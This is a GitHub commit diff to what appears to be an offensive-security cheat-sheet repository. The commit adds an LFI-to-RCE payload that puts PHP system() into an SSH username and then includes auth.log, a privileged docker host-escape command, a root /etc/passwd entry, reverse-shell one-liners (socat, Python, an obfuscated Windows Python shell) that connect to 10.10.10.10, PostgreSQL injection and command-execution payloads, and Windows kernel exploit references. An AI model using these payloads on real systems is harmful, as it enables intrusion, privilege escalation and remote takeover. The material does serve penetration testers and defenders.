Skip to content

Commit 46780de

Browse files
committed
PostgreSQL rewrite + LFI SSH
1 parent 144b382 commit 46780de

File tree

6 files changed

+91
-11
lines changed

6 files changed

+91
-11
lines changed

File Inclusion/README.md

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -291,6 +291,20 @@ http://example.com/index.php?page=/usr/local/apache/log/error_log
291291
http://example.com/index.php?page=/usr/local/apache2/log/error_log
292292
```
293293

294+
### RCE via SSH
295+
296+
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
297+
298+
```powershell
299+
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
300+
```
301+
302+
Then include the SSH log files inside the Web Application.
303+
304+
```powershell
305+
http://example.com/index.php?page=/var/log/auth.log&cmd=id
306+
```
307+
294308
### RCE via Mail
295309

296310
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.

Methodology and Resources/Linux - Privilege Escalation.md

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -187,11 +187,19 @@ Check inside the file, to find other paths with write permissions.
187187
/etc/cron.weekly
188188
/etc/sudoers
189189
/etc/exports
190-
/etc/at.allow
191-
/etc/at.deny
192190
/etc/anacrontab
193191
/var/spool/cron
194192
/var/spool/cron/crontabs/root
193+
194+
crontab -l
195+
ls -alh /var/spool/cron;
196+
ls -al /etc/ | grep cron
197+
ls -al /etc/cron*
198+
cat /etc/cron*
199+
cat /etc/at.allow
200+
cat /etc/at.deny
201+
cat /etc/cron.allow
202+
cat /etc/cron.deny*
195203
```
196204

197205
## Systemd timers
@@ -514,6 +522,12 @@ $> docker run -it --rm -v $PWD:/mnt bash
514522
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
515523
```
516524

525+
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
526+
527+
```powershell
528+
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
529+
```
530+
517531
Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
518532

519533
```powershell
@@ -584,6 +598,7 @@ Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
584598
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
585599
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
586600
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
601+
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
587602
```
588603

589604
### CVE-2010-3904 (RDS)

Methodology and Resources/Reverse Shell Cheatsheet.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ nc -u -lvp 4242
5555

5656
```powershell
5757
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
58-
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
58+
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4242
5959
```
6060

6161
Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)
@@ -78,12 +78,12 @@ Linux only
7878

7979
IPv4
8080
```python
81-
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
81+
export RHOST="10.10.10.10";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
8282
```
8383

8484
IPv4
8585
```python
86-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
86+
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
8787
```
8888

8989
IPv6
@@ -98,7 +98,7 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
9898
Windows only
9999

100100
```powershell
101-
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
101+
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.10.10.10', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
102102
```
103103

104104
### PHP

Methodology and Resources/Windows - Privilege Escalation.md

Lines changed: 22 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,9 +15,11 @@
1515
* [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated)
1616
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
1717
* [EoP - Runas](#eop---runas)
18-
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposures)
18+
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
1919
* [Token Impersonation (RottenPotato)](#token-impersonation-rottenpotato)
2020
* [MS08-067 (NetAPI)](#ms08-067-netapi)
21+
* [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
22+
* [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003)
2123
* [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
2224
* [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
2325

@@ -264,6 +266,8 @@ C:\Windows\system32\sysprep.inf
264266
C:\Windows\system32\sysprep\sysprep.xml
265267
```
266268

269+
Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.
270+
267271
Example content
268272

269273
```powershell
@@ -668,6 +672,23 @@ python ms08-067.py 10.0.0.1 6 445
668672
```
669673

670674

675+
### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7
676+
677+
'KiTrap0D' User Mode to Ring Escalation (MS10-015)
678+
679+
```powershell
680+
https://www.exploit-db.com/exploits/11199
681+
682+
Metasploit : exploit/windows/local/ms10_015_kitrap0d
683+
```
684+
685+
### MS11-080 (afd.sys) - Microsoft Windows XP/2003
686+
687+
```powershell
688+
Python: https://www.exploit-db.com/exploits/18176
689+
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
690+
```
691+
671692
### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
672693

673694
Check if the patch is installed : `wmic qfe list | findstr "3139914"`

SQL Injection/PostgreSQL Injection.md

Lines changed: 23 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,15 @@
1-
# POSTGRESQL
1+
# PostgreSQL injection
2+
3+
## Summary
4+
5+
* [PostgreSQL Comments](#postgresql-comments)
6+
* [PostgreSQL Error Based](#postgresql-error-based)
7+
* [PostgreSQL Blind](#postgresql-blind)
8+
* [PostgreSQL Time Based](#postgresql-time-based)
9+
* [PostgreSQL File Read](#postgresql-file-read)
10+
* [PostgreSQL File Write](#postgresql-file-write)
11+
* [PostgreSQL Command execution](#postgresql-command-execution)
12+
* [References](#references)
213

314
## PostgreSQL Comments
415

@@ -7,7 +18,7 @@
718
/**/
819
```
920

10-
## PostgreSQL Error Based - Basic
21+
## PostgreSQL Error Based
1122

1223
```sql
1324
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
@@ -16,6 +27,13 @@
1627
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
1728
```
1829

30+
## PostgreSQL Blind
31+
32+
```sql
33+
' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
34+
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
35+
```
36+
1937
## PostgreSQL Time Based
2038

2139
```sql
@@ -47,7 +65,7 @@ SELECT * FROM pentestlab;
4765
COPY pentestlab(t) TO '/tmp/pentestlab';
4866
```
4967

50-
## PostgreSQL - Command execution
68+
## PostgreSQL Command execution
5169

5270
CVE-2019–9193, can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
5371

@@ -64,4 +82,5 @@ DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
6482
## References
6583

6684
* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
67-
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
85+
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
86+
* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)

SQL Injection/README.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,17 @@ Attempting to manipulate SQL queries may have goals including:
1919
* [Entry point detection](#entry-point-detection)
2020
* [DBMS Identification](#dbms-identification)
2121
* [SQL injection using SQLmap](#sql-injection-using-sqlmap)
22+
* [Basic arguments for SQLmap](#basic-arguments-for-sqlmap)
23+
* [Load a request file and use mobile user-agent](#load-a-request-file-and-use-mobile-user-agent)
24+
* [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragent-header-referer-cookie)
25+
* [Second order injection](#second-order-injection)
26+
* [Shell](#shell)
27+
* [Crawl a website with SQLmap and auto-exploit](#crawl-a-website-with-sqlmap-and-auto-exploit)
28+
* [Using TOR with SQLmap](#using-tor-with-sqlmap)
29+
* [Using a proxy with SQLmap](#using-a-proxy-with-sqlmap)
30+
* [Using Chrome cookie and a Proxy](#using-chrome-cookie-and-a-proxy)
31+
* [Using suffix to tamper the injection](#using-suffix-to-tamper-the-injection)
32+
* [General tamper option and tamper's list](#general-tamper-option-and-tamper-s-list)
2233
* [Authentication bypass](#authentication-bypass)
2334
* [Polyglot injection](#polyglot-injection-multicontext)
2435
* [Routed injection](#routed-injection)

0 commit comments

Comments
 (0)